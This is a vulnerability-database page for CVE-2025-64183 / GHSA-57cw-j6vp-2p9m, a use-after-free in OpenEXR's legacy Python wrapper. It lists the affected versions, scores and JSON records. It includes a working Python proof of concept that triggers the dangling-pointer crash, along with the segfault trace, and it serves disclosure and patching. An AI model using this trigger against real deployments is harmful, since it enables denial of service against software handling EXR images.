Vulnerability-Lookup

GHSA-57CW-J6VP-2P9M

Vulnerability from github – Published: 2026-04-06 17:51 – Updated: 2026-04-06 17:51

Summary

OpenEXR has use after free in PyObject_StealAttrString

Details

Summary

There is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.

This bug was found with ZeroPath.

Details

The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286

PoC

import OpenEXR, Imath

# Any small EXR will do - use one from OpenEXR test images or any project file
path = "any_small.exr"

# Property returns a fresh temporary int subclass, so the buggy helper
# decrefs it to zero before passing it to PyLong_AsLong => UAF.
class FreshInt(int):
    def __new__(cls, v):
        return int.__new__(cls, v)
    def __del__(self):
        # stir the heap to make the UAF obvious under PYTHONMALLOC=debug
        _ = bytearray(1_000_000)

class PixelTypeProxy:
    @property
    def v(self):
        return FreshInt(Imath.PixelType.FLOAT)  # any small value is fine

f = OpenEXR.InputFile(path)
# channel() forces the wrapper to read pixel_type.v using the buggy helper
# which returns a dangling pointer
print("About to trigger UAF...")
f.channel("R", pixel_type=PixelTypeProxy())
print("If you get here without a crash, try again with AddressSanitizer.")

running

PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py

About to trigger UAF...
Fatal Python error: Segmentation fault

Current thread 0x00000001f209a140 (most recent call first):
  File "/private/tmp/i/pt.py", line 24 in <module>

Current thread's C stack trace (most recent call first):
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _Py_DumpStack+0x44 [0x1058c00f8]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_fatal_error+0x160 [0x1058d2e00]
  Binary file "/usr/lib/system/libsystem_platform.dylib", at _sigtramp+0x38 [0x1841796a4]
  Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
  Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObject_Vectorcall+0x58 [0x1056f5044]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEval_EvalCode+0xf8 [0x105827130]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at run_mod+0xac [0x1058a2b60]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrun_file+0xa4 [0x1058a123c]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_AnyFileObject+0x50 [0x1058a0424]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file_obj+0xa4 [0x1058cfcd8]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file+0x48 [0x1058cfa20]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_RunMain+0x354 [0x1058cef60]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_main+0xe8 [0x1058cf3f8]
  Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_BytesMain+0x28 [0x1058cf494]
  Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]

Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)
Segmentation fault: 11     PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py

Impact

Completely depends on the context. Typical memory stuff related to UAFs.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5.5 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OpenEXR"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OpenEXR"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OpenEXR"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0"
            },
            {
              "fixed": "3.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64183"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T17:51:23Z",
    "nvd_published_at": "2025-11-10T22:15:37Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThere is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nThe legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286\n\n### PoC\n\n```py\nimport OpenEXR, Imath\n\n# Any small EXR will do - use one from OpenEXR test images or any project file\npath = \"any_small.exr\"\n\n# Property returns a fresh temporary int subclass, so the buggy helper\n# decrefs it to zero before passing it to PyLong_AsLong =\u003e UAF.\nclass FreshInt(int):\n    def __new__(cls, v):\n        return int.__new__(cls, v)\n    def __del__(self):\n        # stir the heap to make the UAF obvious under PYTHONMALLOC=debug\n        _ = bytearray(1_000_000)\n\nclass PixelTypeProxy:\n    @property\n    def v(self):\n        return FreshInt(Imath.PixelType.FLOAT)  # any small value is fine\n\nf = OpenEXR.InputFile(path)\n# channel() forces the wrapper to read pixel_type.v using the buggy helper\n# which returns a dangling pointer\nprint(\"About to trigger UAF...\")\nf.channel(\"R\", pixel_type=PixelTypeProxy())\nprint(\"If you get here without a crash, try again with AddressSanitizer.\")\n```\nrunning\n\n```shell\nPYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n```\nAbout to trigger UAF...\nFatal Python error: Segmentation fault\n\nCurrent thread 0x00000001f209a140 (most recent call first):\n  File \"/private/tmp/i/pt.py\", line 24 in \u003cmodule\u003e\n\nCurrent thread\u0027s C stack trace (most recent call first):\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _Py_DumpStack+0x44 [0x1058c00f8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_fatal_error+0x160 [0x1058d2e00]\n  Binary file \"/usr/lib/system/libsystem_platform.dylib\", at _sigtramp+0x38 [0x1841796a4]\n  Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n  Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyObject_Vectorcall+0x58 [0x1056f5044]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyEval_EvalCode+0xf8 [0x105827130]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at run_mod+0xac [0x1058a2b60]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pyrun_file+0xa4 [0x1058a123c]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_AnyFileObject+0x50 [0x1058a0424]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file_obj+0xa4 [0x1058cfcd8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file+0x48 [0x1058cfa20]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_RunMain+0x354 [0x1058cef60]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_main+0xe8 [0x1058cf3f8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_BytesMain+0x28 [0x1058cf494]\n  Binary file \"/usr/lib/dyld\", at start+0x17bc [0x183d9eb98]\n\nExtension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)\nSegmentation fault: 11     PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n### Impact\n\nCompletely depends on the context. Typical memory stuff related to UAFs.",
  "id": "GHSA-57cw-j6vp-2p9m",
  "modified": "2026-04-06T17:51:23Z",
  "published": "2026-04-06T17:51:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-57cw-j6vp-2p9m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64183"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AcademySoftwareFoundation/openexr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenEXR has use after free in PyObject_StealAttrString"
}

CVE-2025-64183 (GCVE-0-2025-64183)

Vulnerability from cvelistv5 – Published: 2025-11-10 21:29 – Updated: 2025-11-14 18:38

Title

OpenEXR has use after free in PyObject_StealAttrString

Summary

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, there is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp. The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.) Versions 3.2.5, 3.3.6, and 3.4.3 fix the issue.

Severity ?

5.5 (Medium)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

CWE

CWE-416 - Use After Free

Assigner

GitHub_M

References

URL

Tags

	https://github.com/AcademySoftwareFoundation/open…	x_refsource_CONFIRM
	https://github.com/AcademySoftwareFoundation/open…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	AcademySoftwareFoundation	openexr	Affected: >= 3.2.0, < 3.2.5 Affected: >= 3.3.0, < 3.3.6 Affected: >= 3.4.0, < 3.4.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-64183",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-11-14T18:38:28.928677Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-11-14T18:38:32.682Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-57cw-j6vp-2p9m"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "openexr",
          "vendor": "AcademySoftwareFoundation",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.2.0, \u003c 3.2.5"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.3.0, \u003c 3.3.6"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.4.0, \u003c 3.4.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, there is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp. The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.) Versions 3.2.5, 3.3.6, and 3.4.3 fix the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "LOCAL",
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-416",
              "description": "CWE-416: Use After Free",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-11-10T21:29:54.234Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-57cw-j6vp-2p9m",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-57cw-j6vp-2p9m"
        },
        {
          "name": "https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115"
        }
      ],
      "source": {
        "advisory": "GHSA-57cw-j6vp-2p9m",
        "discovery": "UNKNOWN"
      },
      "title": "OpenEXR has use after free in PyObject_StealAttrString"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-64183",
    "datePublished": "2025-11-10T21:29:54.234Z",
    "dateReserved": "2025-10-28T21:07:16.440Z",
    "dateUpdated": "2025-11-14T18:38:32.682Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-57CW-J6VP-2P9M

Summary

Details

PoC

Impact

CVE-2025-64183 (GCVE-0-2025-64183)

Tags

Sightings

Nomenclature